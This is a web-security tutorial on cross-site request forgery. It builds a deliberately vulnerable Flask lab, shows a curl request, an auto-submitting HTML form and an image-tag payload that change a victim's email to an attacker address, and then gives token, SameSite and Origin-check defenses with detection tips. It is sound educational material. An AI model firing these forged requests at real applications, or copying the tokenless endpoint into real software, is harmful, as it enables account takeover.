CSRF Attacks and Defenses: Forging State-Changing Requests

Web Exploitation
Time it takes to read this article 5 minutes.

Introduction

Cross-Site Request Forgery (CSRF) tricks an authenticated victim's browser into sending a state-changing request to an application where they are logged in. Because browsers automatically attach cookies to requests for a given origin, the application sees a perfectly valid, authenticated request — it just was not the user who intended to send it. In this article you will learn exactly how CSRF works at the HTTP level, build a small lab, write a working proof-of-concept, and then implement the layered defenses (CSRF tokens, SameSite cookies, and origin checks) that actually stop it.

Legal & ethical disclaimer. Everything below is for education and authorized testing only. Run these techniques exclusively against systems you own or have explicit written permission to test. Forging requests against third-party applications is illegal in most jurisdictions.

How It Works

CSRF exploits the ambient authority of cookies. When you authenticate to bank.example, the server sets a session cookie. From then on, the browser attaches that cookie to every request to bank.example — including requests triggered by a completely different site (evil.example) via an HTML form, image tag, or fetch. The target server cannot tell, from the cookie alone, whether the request originated from its own pages or from an attacker's.

Three conditions must hold for a classic CSRF to succeed:

  1. A relevant action exists — a state-changing request such as transferring funds, changing an email, or creating an admin user.
  2. Cookie-based session handling — the request is authenticated only by cookies the browser sends automatically.
  3. No unpredictable parameters — the attacker can construct or guess every field. A secret CSRF token the attacker cannot predict breaks this condition.

Critically, the attacker never reads the response (the Same-Origin Policy prevents that). They do not need to. The side effect — the state change — is what matters.

Prerequisites / Lab Setup

We will use a deliberately vulnerable target. The cleanest option is OWASP Juice Shop or PortSwigger Web Security Academy labs, but a minimal local Flask app makes the mechanics explicit.

# Minimal vulnerable target (do not deploy to production)
python3 -m pip install flask
mkdir csrf-lab && cd csrf-lab
Bash
# app.py — intentionally vulnerable
from flask import Flask, request, session, redirect

app = Flask(__name__)
app.secret_key = "lab-only"
EMAIL = {"value": "victim@corp.local"}

@app.route("/login")
def login():
    session["user"] = "victim"          # simulate an authenticated session
    return "logged in"

@app.route("/change-email", methods=["POST"])
def change_email():
    if "user" not in session:
        return "unauthorized", 401
    EMAIL["value"] = request.form["email"]   # state-changing request, no token
    return f"email is now {EMAIL['value']}"

@app.route("/account")
def account():
    return f"current email: {EMAIL['value']}"

app.run(port=5000)
Python
python3 app.py
# In a browser: visit http://localhost:5000/login then http://localhost:5000/account
Bash

Note the Flask default session cookie has no SameSite attribute set explicitly in older configurations — exactly the weakness we exploit.

Attack Walkthrough / PoC

First, confirm the legitimate request shape with curl. The action is a POST with a single email field and a session cookie.

# Capture a session, then perform the legit action to see the request shape
curl -c jar.txt http://localhost:5000/login
curl -b jar.txt -X POST http://localhost:5000/change-email \
     --data "email=attacker-controlled@evil.example" -i
Bash

There is no token, no origin check — only the cookie. That is enough to forge. Now craft the malicious page an attacker hosts on evil.example. When the logged-in victim opens it, their browser auto-submits the form with their cookie attached.

<!-- evil.html — auto-submitting CSRF PoC -->
<html>
  <body onload="document.forms[0].submit()">
    <form action="http://localhost:5000/change-email" method="POST">
      <input type="hidden" name="email" value="attacker@evil.example">
    </form>
  </body>
</html>
HTML

Serve it from a different origin to simulate the cross-site condition:

python3 -m http.server 8000   # serve evil.html on http://localhost:8000
Bash

With the victim's browser still holding the session cookie from localhost:5000, opening http://localhost:8000/evil.html silently fires the POST. Re-checking /account shows the email is now attacker@evil.example — the account is compromised, and the victim never clicked anything they understood.

For GET-based vulnerabilities (still seen on poorly designed endpoints), the payload is even simpler and needs no JavaScript:

<img src="http://localhost:5000/change-email?email=attacker@evil.example">
HTML

Burp Suite automates this: right-click a captured request → Engagement tools → Generate CSRF PoC. It produces an auto-submitting form, including handling for multipart/form-data and JSON-where-allowed bodies.

Attack Flow Diagram

CSRF Attacks and Defenses: Forging State-Changing Requests diagram 1

The diagram shows the victim authenticating to the target, then visiting the attacker's page, which forces their browser to submit a state-changing request to the target with the session cookie automatically attached.

Detection & Defense (Blue Team)

CSRF is fully preventable with layered controls. Implement more than one.

1. Synchronizer CSRF tokens. Issue a per-session (ideally per-request) unpredictable token, embed it in every state-changing form, and reject requests whose token does not match the server-side value. The attacker cannot read the token (Same-Origin Policy) and cannot guess it.

import secrets
from flask import session, request, abort

@app.before_request
def csrf_protect():
    if request.method == "POST":
        token = session.get("_csrf")
        if not token or token != request.form.get("_csrf"):
            abort(403)

def gen_token():
    if "_csrf" not in session:
        session["_csrf"] = secrets.token_urlsafe(32)
    return session["_csrf"]
Python

2. SameSite cookies. Set the session cookie's SameSite attribute. SameSite=Lax (the modern browser default) blocks the cookie on cross-site POST, PUT, and most sub-resource requests, neutralizing the classic form-based attack. SameSite=Strict is stronger but breaks legitimate cross-site navigations.

app.config.update(
    SESSION_COOKIE_SAMESITE="Lax",
    SESSION_COOKIE_SECURE=True,
    SESSION_COOKIE_HTTPONLY=True,
)
Python
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax; Path=/
PowerShell

Do not rely on SameSite alone — it is a defense-in-depth layer, not a complete control. Method-overriding tricks, same-site subdomains, and Lax's top-level-GET allowance can erode it.

3. Origin / Referer validation. For state-changing requests, verify the Origin header (or fall back to Referer) matches an allowlist of trusted origins. This is cheap and effective for APIs.

ALLOWED = {"https://bank.example"}

@app.before_request
def check_origin():
    if request.method in ("POST", "PUT", "DELETE", "PATCH"):
        origin = request.headers.get("Origin")
        if origin and origin not in ALLOWED:
            abort(403)
Python

4. Use framework-native protection. Django (CsrfViewMiddleware), Rails (protect_from_forgery), Spring Security (CSRF enabled by default), and ASP.NET (AntiForgeryToken) all ship robust implementations — enable them rather than rolling your own.

Detection. Hunt for anomalies in logs: state-changing requests with a cross-site Origin/Referer, missing or malformed CSRF tokens, or a spike of identical POST bodies from many sessions. A WAF rule can alert on POST requests whose Referer host does not match the application host. For token correctness, security headers should be validated in CI with tooling such as nikto or testssl.sh-style scans plus a dedicated check.

For related session-handling weaknesses, see Session Fixation and Hijacking and the broader Same-Origin Policy and CORS Misconfigurations. When CSRF is combined with reflected injection, review XSS to Account Takeover — a single XSS bypasses every CSRF defense because it runs in-origin.

Conclusion

CSRF is conceptually simple but still ranks among the most common web flaws, because any state-changing request authenticated only by cookies is a candidate. The fix is equally well understood: combine unpredictable CSRF tokens with SameSite=Lax cookies and Origin validation, and lean on your framework's built-in protection. Test for it on every form and API endpoint that changes state, and remember that an XSS vulnerability voids all of it — defense in depth across the whole application is what keeps accounts safe.

References

Comments

Copied title and URL